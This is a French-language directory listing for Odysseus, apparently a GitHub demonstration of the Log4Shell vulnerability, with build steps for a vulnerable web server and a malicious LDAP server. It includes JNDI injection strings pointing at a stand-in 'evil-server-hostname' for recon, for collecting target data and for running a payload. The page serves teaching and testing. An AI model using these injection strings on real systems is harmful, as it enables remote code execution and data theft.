Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Odysseus — Une démonstration de la vulnérabilité Log4Shell (CVE-2021-44228). | Kitploit
Outils/GitHubGitHub/roshanshibu/odysseus
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCommandement et ContrôleApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubroshanshibu/odysseus

Odysseus

Une démonstration de la vulnérabilité Log4Shell (CVE-2021-44228).

Voir le dépôt
il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Odysseus

Une démonstration de la vulnérabilité Log4Shell (CVE-2021-44228).

Instructions de construction

Le serveur web vulnérable et le serveur LDAP malveillant ont tous deux été construits et testés sur JDK 1.8.0_181.

Serveur Web des Bons

  1. Dans goodguys, exécutez gradlew bootJar
  2. Exécutez le serveur web vulnérable avec java -jar build/libs/goodguys-0.0.1-SNAPSHOT.jar

Serveur LDAP/Web des Méchants

  1. Dans badguys, exécutez mvn package
  2. Exécutez le serveur malveillant avec java -jar .\target\evil-server.jar

Note : Windows Defender peut discrètement déplacer target\classes\Exploit.class en quarantaine.

Charge utile malveillante

Les commandes malveillantes sont définies dans Exploit.java.

Déclencheur d'injection

EntréeRemarques
${jndi:ldap://evil-server-hostname:389/Recon}Vérifie si la cible est vulnérable en écoutant une demande de connexion au serveur LDAP.
${jndi:ldap://evil-server-hostname:389/Recon [log4j Pattern Layout(s)]Ajoutez des mises en page de motif log4j valides pour collecter les données de la cible et les afficher dans le terminal de l'attaquant.

Références

https://securityboulevard.com/2019/01/exploiting-jndi-injections-in-java/ https://logging.apache.org/log4j/1.2/apidocs/org/apache/log4j/PatternLayout.html
https://www.ibm.com/blog/how-to-detect-patch-log4j-vulnerability/

Télécharger l’outil
${jndi:ldap://evil-server-hostname:389/Exploit}Exécutez la charge utile.